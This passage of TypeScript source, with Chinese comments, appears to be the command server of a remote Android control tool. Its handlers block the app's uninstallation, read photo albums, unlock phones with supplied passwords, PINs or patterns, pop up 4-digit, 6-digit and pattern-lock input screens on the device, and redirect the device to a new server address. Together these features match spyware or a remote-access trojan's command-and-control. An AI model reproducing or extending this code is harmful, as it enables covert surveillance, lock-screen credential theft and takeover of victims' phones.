this.webClientManager.broadcastToAll('refresh_permission_response', { deviceId, success: permissionData.success, message: permissionData.message, timestamp: permissionData.timestamp }) this.logger.info(`📤 已向所有Web客户端广播权限申请响应: 设备=${deviceId}`) } catch (error) { this.logger.error(`处理MediaProjection权限申请响应失败: ${deviceId}`, error) } } /** * 🛡️ 处理启用防止卸载保护的请求 */ private handleEnableUninstallProtection(clientId: string, deviceId: string): boolean { try { this.logger.info(`🛡️ 启用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送启用防止卸载保护的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'ENABLE_UNINSTALL_PROTECTION', deviceId, data: {}, timestamp: Date.now() }) // 保存状态到数据库 this.databaseService.updateDeviceUninstallProtection(deviceId, true) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: true, enabled: true, message: '防止卸载保护已启用' }) this.logger.info(`✅ 防止卸载保护启用成功: 设备=${deviceId}`) return true } } // 设备Socket不可用 this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`❌ 启用防止卸载保护失败:`, error) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: false, message: '启用防止卸载保护失败' }) return false } } /** * 🛡️ 处理禁用防止卸载保护的请求 */ private handleDisableUninstallProtection(clientId: string, deviceId: string): boolean { try { this.logger.info(`🛡️ 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送禁用防止卸载保护的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'DISABLE_UNINSTALL_PROTECTION', deviceId, data: {}, timestamp: Date.now() }) // 保存状态到数据库 this.databaseService.updateDeviceUninstallProtection(deviceId, false) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: true, enabled: false, message: '防止卸载保护已禁用' }) this.logger.info(`✅ 防止卸载保护禁用成功: 设备=${deviceId}`) return true } } // 设备Socket不可用 this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`❌ 禁用防止卸载保护失败:`, error) this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', { deviceId, success: false, enabled: true, message: '禁用防止卸载保护失败' }) return false } } /** * 处理相册权限检查请求 */ private handleGalleryPermissionCheck(clientId: string, deviceId: string): boolean { try { this.logger.info(`📸 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送相册权限检查的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'GALLERY_PERMISSION_CHECK', deviceId, data: {}, timestamp: Date.now() }) this.logger.info(`✅ 相册权限检查命令已发送到设备: ${deviceId}`) return true } } this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '设备连接异常' }) return false } catch (error) { this.logger.error('处理相册权限检查请求失败:', error) this.webClientManager.sendToClient(clientId, 'gallery_permission_response', { deviceId, success: false, hasPermission: false, message: '相册权限检查失败' }) return false } } /** * 处理相册读取请求 */ private handleAlbumRead(clientId: string, deviceId: string, data: any): boolean { try { this.logger.info(`📸 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '无控制权限,请先申请设备控制权' }) return false } // 验证数据格式 const { albumId, limit, offset } = data || {} if (limit && (typeof limit !== 'number' || limit <= 0)) { this.logger.warn(`⚠️ 无效的相册读取限制: ${limit}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '相册读取限制无效,应为正整数' }) return false } if (offset && (typeof offset !== 'number' || offset < 0)) { this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '相册读取偏移无效,应为非负整数' }) return false } // 向设备发送相册读取的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'ALBUM_READ', deviceId, data: { albumId: albumId || null, limit: limit || null, offset: offset || 0 }, timestamp: Date.now() }) this.logger.info(`✅ 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) return true } } this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '设备连接异常' }) return false } catch (error) { this.logger.error('处理相册读取请求失败:', error) this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '相册读取失败' }) return false } } /** * 处理设备解锁请求 */ private handleUnlockDevice(clientId: string, deviceId: string, data: any): boolean { try { this.logger.info(`🔓 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } // 验证解锁数据格式 const { password, pattern, pin, biometric } = data || {} if (!password && !pattern && !pin && !biometric) { this.logger.warn(`⚠️ 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '解锁数据不完整,需要提供密码、图案、PIN或生物识别信息' }) return false } // 向设备发送解锁的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'UNLOCK_DEVICE', deviceId, data: { password: password || null, pattern: pattern || null, pin: pin || null, biometric: biometric || null }, timestamp: Date.now() }) this.logger.info(`✅ 设备解锁命令已发送到设备: ${deviceId}`) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: true, message: '设备解锁命令已发送' }) return true } } this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '设备连接异常' }) return false } catch (error) { this.logger.error('处理设备解锁请求失败:', error) this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '设备解锁失败' }) return false } } /** * 🔐 处理打开6位PIN输入界面的请求 */ private handleOpenPinInput(clientId: string, deviceId: string): boolean { try { this.logger.info(`🔐 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送打开6位PIN输入界面的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_PIN_INPUT', deviceId, data: {}, timestamp: Date.now() }) this.logger.info(`✅ 已发送打开6位PIN输入界面命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: true, message: '打开6位PIN输入界面命令已发送' }) return true } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`打开6位PIN输入界面失败:`, error) this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '打开6位PIN输入界面失败' }) return false } } /** * 🔐 处理打开4位密码输入界面的请求 */ private handleOpenFourDigitPin(clientId: string, deviceId: string): boolean { try { this.logger.info(`🔐 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送打开4位密码输入界面的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_FOUR_DIGIT_PIN', deviceId, data: {}, timestamp: Date.now() }) this.logger.info(`✅ 已发送打开4位密码输入界面命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: true, message: '打开4位密码输入界面命令已发送' }) return true } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`打开4位密码输入界面失败:`, error) this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '打开4位密码输入界面失败' }) return false } } /** * 🔐 处理打开图形密码输入界面的请求 */ private handleOpenPatternLock(clientId: string, deviceId: string): boolean { try { this.logger.info(`🔐 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } // 向设备发送打开图形密码输入界面的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_PATTERN_LOCK', deviceId, data: {}, timestamp: Date.now() }) this.logger.info(`✅ 已发送打开图形密码输入界面命令到设备 ${deviceId}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: true, message: '打开图形密码输入界面命令已发送' }) return true } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`打开图形密码输入界面失败:`, error) this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '打开图形密码输入界面失败' }) return false } } /** * 处理修改服务器地址请求 */ private handleChangeServerUrl(clientId: string, deviceId: string, data: any): boolean { try { this.logger.info(`🌐 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '设备已离线或不存在' }) return false } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }) return false } // 验证服务器地址数据 if (!data || !data.serverUrl || typeof data.serverUrl !== 'string' || data.serverUrl.trim() === '') { this.logger.warn(`⚠️ 无效的服务器地址: ${data?.serverUrl}`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '服务器地址无效,应为非空字符串' }) return false } // 向设备发送修改服务器地址的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', { type: 'CHANGE_SERVER_URL', deviceId, data: { serverUrl: data.serverUrl.trim() }, timestamp: Date.now() }) this.logger.info(`✅ 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`) // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: true, message: '命令已发送', serverUrl: data.serverUrl }) return true } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`修改服务器地址失败:`, error) this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '修改服务器地址失败' }) return false } } } export default MessageRouter